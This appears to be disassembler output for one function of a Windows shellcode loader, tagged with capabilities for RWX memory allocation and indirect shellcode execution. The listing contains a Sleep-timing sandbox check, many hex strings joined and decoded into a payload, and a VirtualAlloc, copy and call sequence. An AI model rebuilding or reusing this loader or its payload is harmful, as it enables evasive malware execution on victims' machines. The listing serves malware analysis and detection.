Function at 0x401881
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0x600
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x590], ecx
mov qword [rbp + 0x598], rdx
call sym.__main
call sym.clock
mov dword [rbp + 0x57c], eax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
sub edx, eax
mov eax, edx
mov dword [0x00404014], eax
mov ecx, 0x1a6
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0x578], eax
mov edx, dword [0x00404014]
mov eax, dword [0x00404018]
sub edx, eax
mov eax, edx
mov dword [0x00404018], eax
mov ecx, 0x6fc
call sym.malloc
mov qword [rbp + 0x570], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov eax, dword [rbp + 0x578]
sub eax, dword [rbp + 0x57c]
cmp eax, 0x1a5
jle 0x402446
mov eax, dword [rbp + 0x578]
sub eax, dword [rbp + 0x57c]
cmp eax, 0x209
jg 0x402446
mov edx, dword [0x00404014]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
lea rcx, str.noSijYv
call sym.printf
lea rax, str.9c56584a4e5d70085840f348445454f64ffd455254d438244c
mov qword [rbp + 0x568], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.300f00673056f470d544266452362400845799bc9bda8d889316f2e2c2dbd
mov qword [rbp + 0x560], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404018]
sub edx, eax
mov eax, edx
mov dword [0x00404018], eax
lea rax, str.f34b59804d7c553200881025b28baa0c0112b210250081
mov qword [rbp + 0x558], rax
mov edx, dword [0x00404018]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
lea rax, str.4b3648989d5159b01bc9888e9112a8ff7901917f1291a6
mov qword [rbp + 0x550], rax
mov dword [0x00404010], 0
lea rax, str.3a461111f518d1045e68f89
mov qword [rbp + 0x548], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.7d1d60f8f0000f5b40f1a39667116676435aed10d1f3f2c9507300b5eb0b5a08b4205797e87f
mov qword [rbp + 0x540], rax
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
sub edx, eax
mov eax, edx
mov dword [0x00404010], eax
lea rax, str.37815b9561b7027d0a4bd8c2a658d3a1f389e1466391c27e0810119a883898091f504138800f18e80fe045d481
mov qword [rbp + 0x538], rax
mov edx, dword [0x00404018]
mov eax, dword [0x00404018]
imul eax, edx
mov dword [0x00404018], eax
lea rax, str.4744c32cce820607044d44e434c3c4744d8240108055554f58f57605840d34c5377490445bfec34c4553c8584c4c21
mov qword [rbp + 0x530], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404018]
sub edx, eax
mov eax, edx
mov dword [0x00404018], eax
lea rax, str.c84c0e0e26a6
mov qword [rbp + 0x528], rax
mov edx, dword [0x00404014]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
lea rax, str.645bff767171694f9f6026266366664226743267343400a348dd819fd
mov qword [rbp + 0x520], rax
mov edx, dword [0x00404018]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
lea rax, str.e4a20f8d8775fde2d9cdc8db1b3faa0a13efd20ab255fe16dbb4c0b44ba454fb2fbf4c
mov qword [rbp + 0x518], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
lea rax, str.b08540cf33333c00121888027d1cc11d8086b208708008b811110c814
mov qword [rbp + 0x510], rax
mov edx, dword [0x00404018]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
lea rax, str.46c0141191a0f9bfdee46c1658d10a9b880911a6b918922bb93a9a
mov qword [rbp + 0x508], rax
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.0f9a8550f1b18f192809046d379b
mov qword [rbp + 0x500], rax
mov dword [0x00404018], 0
lea rax, str.978867ee027afc58d9530b97ee044029ed1c764eeaf66f05fd3090b2d8671
mov qword [rbp + 0x4f8], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404018]
imul eax, edx
mov dword [0x00404018], eax
lea rax, str.e4c778071a3c5f115af0187ff07bc7402615590800145371109a2
mov qword [rbp + 0x4f0], rax
mov eax, dword [0x00404014]
add eax, eax
mov dword [0x00404014], eax
lea rax, str.856858803f9612a4f055384425b3362c05484808086512df803cc0e00744644d0d45442e51f6b6744b24
mov qword [rbp + 0x4e8], rax
mov edx, dword [0x00404018]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.4334bae8b0c545c58dd505ef8c0fdff5b789000d0af638c4374705ebffa6e54a657637
mov qword [rbp + 0x4e0], rax
mov eax, dword [0x00404018]
add eax, eax
mov dword [0x00404018], eax
lea rax, str.62276353367525623435055a9271573e8c8b6c9618eb09b611c11dcd
mov qword [rbp + 0x4d8], rax
mov edx, dword [0x00404018]
mov eax, dword [0x00404018]
imul eax, edx
mov dword [0x00404018], eax
lea rax, str.a5c30f53751658e07613cb0fdc4adb400045d5e44081e8864c500ef3333
mov qword [rbp + 0x4d0], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
lea rax, str.d840118b0820f18129121bc18b8540801f11d01183458908b0b08a88c012fa99596
mov qword [rbp + 0x4c8], rax
mov edx, dword [0x00404018]
mov eax, dword [0x00404010]
sub edx, eax
mov eax, edx
mov dword [0x00404010], eax
lea rax, str.a7891d11759101137f9829202af83a19ff21b5d0fc342f30389e83d3348b495cdf0d5554ace004bd90ef
mov qword [rbp + 0x4c0], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
lea rax, str.4649fef5599ae8bdd7e34d54058
mov qword [rbp + 0x4b8], rax
mov edx, dword [0x00404018]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
lea rax, str.99bde2ae68a5710f5a3f66c89df65d1870e67a3948db02fa0000
mov qword [rbp + 0x4b0], rax
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
sub edx, eax
mov eax, edx
mov dword [0x00404010], eax
lea rax, str.03f398a09293
mov qword [rbp + 0x4a8], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404018]
sub edx, eax
mov eax, edx
mov dword [0x00404018], eax
lea rax, str.06707508d2151e18e0454568540c4700445437188
mov qword [rbp + 0x4a0], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404018]
imul eax, edx
mov dword [0x00404018], eax
lea rax, str.c78440c4d4a4c342d50d484845458e54e404668e473cc454fdc443608
mov qword [rbp + 0x498], rax
mov edx, dword [0x00404018]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
lea rax, str.95448604bd45648ff54fd0088eeff30794c36e0a
mov qword [rbp + 0x490], rax
mov edx, dword [0x00404018]
mov eax, dword [0x00404014]
sub edx, eax
mov eax, edx
mov dword [0x00404014], eax
lea rax, str.2cf42a13939766766326724236623763244520afbb10af67fbae5c741bb550fd258188c9ac6e53b4b2f56e
mov qword [rbp + 0x488], rax
mov edx, dword [0x00404014]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
lea rax, str.de560829fbe605f001000ef488d0498c2807d009f23236b3062b89cd12800b996c1c814111
mov qword [rbp + 0x480], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.3890e9c100f1da9b98
mov qword [rbp + 0x478], rax
mov edx, dword [0x00404018]
mov eax, dword [0x00404010]
add eax, edx
mov dword [0x00404010], eax
lea rax, str.1508f2f149f4c9a1ee35413e9010e402593f
mov qword [rbp + 0x470], rax
mov edx, dword [0x00404018]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
lea rax, str.2eea1beb1a292c73bfc7f
mov qword [rbp + 0x468], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404018]
sub edx, eax
mov eax, edx
mov dword [0x00404018], eax
lea rax, str.bb284fbf66000589064b50fee8
mov qword [rbp + 0x460], rax
mov eax, dword [0x00404014]
add eax, eax
mov dword [0x00404014], eax
mov qword [rbp - 0x60], 0
lea rax, [rbp - 0x58]
mov edx, 0x4a1
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcpy
mov edx, dword [0x00404014]
mov eax, dword [0x00404018]
imul eax, edx
mov dword [0x00404018], eax
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
add eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404018]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404018]
mov eax, dword [0x00404014]
sub edx, eax
mov eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404018]
mov eax, dword [0x00404018]
imul eax, edx
mov dword [0x00404018], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404018]
mov eax, dword [0x00404010]
sub edx, eax
mov eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov dword [0x00404018], 0
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404018]
mov eax, dword [0x00404010]
sub edx, eax
mov eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404018]
imul eax, edx
mov dword [0x00404018], eax
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404018]
sub edx, eax
mov eax, edx
mov dword [0x00404018], eax
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov dword [0x00404014], 0
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
add eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404018]
sub edx, eax
mov eax, edx
mov dword [0x00404018], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404018]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404018]
imul eax, edx
mov dword [0x00404018], eax
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404018]
mov eax, dword [0x00404010]
sub edx, eax
mov eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404018]
add eax, edx
mov dword [0x00404018], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov dword [0x00404018], 0
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404018]
mov eax, dword [0x00404014]
sub edx, eax
mov eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404018]
add eax, edx
mov dword [0x00404018], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404018]
mov eax, dword [0x00404014]
sub edx, eax
mov eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404018]
imul eax, edx
mov dword [0x00404018], eax
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404018]
add eax, edx
mov dword [0x00404018], eax
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404018]
add eax, edx
mov dword [0x00404018], eax
mov rdx, qword [rbp + 0x480]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov dword [0x00404014], 0
mov rdx, qword [rbp + 0x478]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404018]
mov eax, dword [0x00404014]
sub edx, eax
mov eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x468]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404018]
imul eax, edx
mov dword [0x00404018], eax
mov rdx, qword [rbp + 0x460]
mov rax, qword [rbp + 0x570]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404018]
mov eax, dword [0x00404018]
imul eax, edx
mov dword [0x00404018], eax
mov rax, qword [rbp + 0x570]
lea rdx, [0x0040578e]
mov rcx, rax
call sym.rwDw
mov qword [rbp + 0x458], rax
mov edx, dword [0x00404014]
mov eax, dword [0x00404018]
add eax, edx
mov dword [0x00404018], eax
mov rdx, qword [rbp + 0x458]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.qrqTAJTEJ
mov edx, dword [0x00404014]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4a9
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x450], rax
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x450]
mov r8d, 0x4a9
mov rdx, rax
call sym.memmove
mov rax, qword [rbp + 0x450]
call rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add edx, eax
mov eax, dword [0x00404018]
add edx, eax
mov eax, dword [0x0040401c]
add eax, edx
mov edx, eax
lea rcx, [0x00405790]
call sym.printf
jmp 0x402468
mov edx, dword [0x00404018]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rcx, str.noSijYv
call sym.printf
nop
add rsp, 0x600
pop rbp
ret